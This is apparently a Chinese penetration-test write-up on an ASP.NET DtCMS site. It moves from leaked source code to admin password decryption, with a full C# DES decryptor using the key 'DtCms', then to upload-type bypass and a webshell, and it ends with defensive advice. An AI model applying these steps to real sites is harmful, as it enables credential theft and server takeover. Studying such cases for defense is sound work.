记一次信息泄露到GetShell
字数 1267 2025-08-07 08:22:20
ASP.NET源码泄露到GetShell全过程分析与防御
0x00 漏洞背景与发现
本次渗透测试案例源于一个ASP.NET站点的整站源码泄露漏洞,攻击者通过分析泄露的源码实现了从信息泄露到最终获取服务器权限的全过程。该案例展示了源码泄露可能导致的严重后果,以及如何通过系统化的分析利用这类漏洞。
0x01 信息泄露分析
1.1 泄露内容识别
- 泄露文件类型:
.ashx(一般处理程序)、.cs(C#源代码)、.dll(编译程序集) - 目录结构分析发现使用DtCMS系统
- 关键发现:
App_Data/DtCmsdb.mdb数据库文件
1.2 数据库信息提取
- 使用Microsoft Office Access打开.mdb文件
- 发现管理员表包含加密密码字段
UserPwd - 加密特征:非标准MD5,疑似自定义加密
0x02 加密算法逆向分析
2.1 源码跟踪技术
- 定位登录验证入口:
/Admin/login.aspx.cs - 关键函数调用链:
if (!string.IsNullOrEmpty(txtUserName.Text.Trim()) && !string.IsNullOrEmpty(txtPassword.Text.Trim())) { if (Session["DtAdminId"] == null) { if (bll.chkAdminLogin(txtUserName.Text.Trim(), txtPassword.Text.Trim())) { // 登录成功逻辑 } } }
2.2 二进制逆向技术
- 使用ILSpy反编译
DtCms.Common.dll - 定位DES加密实现类:
DTcms.Common.DESEncrypt - 关键加密参数:
public static string Encrypt(string Text, string sKey) { // 使用"sKey"作为盐值 // 实际案例中sKey="DtCms"(注意大小写) }
2.3 加密算法特征
- 算法类型:DES对称加密
- 密钥生成:
des.Key = ASCIIEncoding.ASCII.GetBytes( FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5") .Substring(0, 8)); - 加密流程:
- 将盐值(sKey)进行MD5哈希
- 取前8字节作为DES密钥和IV
- 使用DES-CBC模式加密
0x03 密码解密实战
3.1 解密程序编写
using System;
using System.Security.Cryptography;
using System.Text;
namespace DTcms.Common
{
public class DESEncrypt
{
public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len = Text.Length / 2;
byte[] inputByteArray = new byte[len];
for (int x = 0; x < len; x++)
{
int i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(
System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5")
.Substring(0, 8));
des.IV = des.Key;
using (System.IO.MemoryStream ms = new System.IO.MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}
}
}
static void Main(string[] args)
{
Console.WriteLine(Decrypt("42xxxxxxx", "DtCms")); // 替换为实际加密密码
Console.ReadKey();
}
}
}
3.2 编译与执行
- 使用.NET Framework编译器:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe DESDecrypt.cs - 关键注意点:
- 确认正确的sKey值(区分大小写)
- 确保目标环境与源码环境.NET版本一致
0x04 后台利用与GetShell
4.1 后台功能分析
- 登录后检查安全限制:
- 文件上传类型限制
- SQL注入过滤机制
4.2 文件上传绕过
- 修改允许上传类型:添加
.aspx、.ashx扩展名 - 上传WebShell:
- 冰蝎马:具有加密通信功能
- 常规ASPX马:简单命令执行
4.3 连接技术
- 直接访问上传的WebShell路径
- 使用配套客户端连接(如冰蝎客户端)
- 权限维持技术
0x05 防御方案
5.1 防止源码泄露
- 服务器配置:
- 禁用目录列表
- 配置正确的MIME类型,防止.cs等文件被直接访问
- 代码层面:
- 敏感文件存放在App_Data等受保护目录
- 使用编译后部署,而非源码部署
5.2 增强加密安全
- 避免使用可逆加密存储密码
- 使用强哈希算法(如PBKDF2、bcrypt)
- 每个用户独立盐值
5.3 后台安全加固
- 实施多因素认证
- 严格限制上传文件类型(白名单机制)
- 定期更换管理员密码
- 后台访问IP限制
5.4 日志与监控
- 记录所有后台登录尝试
- 监控异常文件上传行为
- 设置文件完整性检查
0x06 总结与思考
本案例展示了从源码泄露到最终GetShell的完整攻击链,关键点在于:
- 源码泄露导致加密算法暴露
- 对称加密存储密码的风险
- 后台弱防护导致的权限提升
防御重点应放在:
- 敏感信息保护
- 密码存储安全
- 最小权限原则
- 纵深防御体系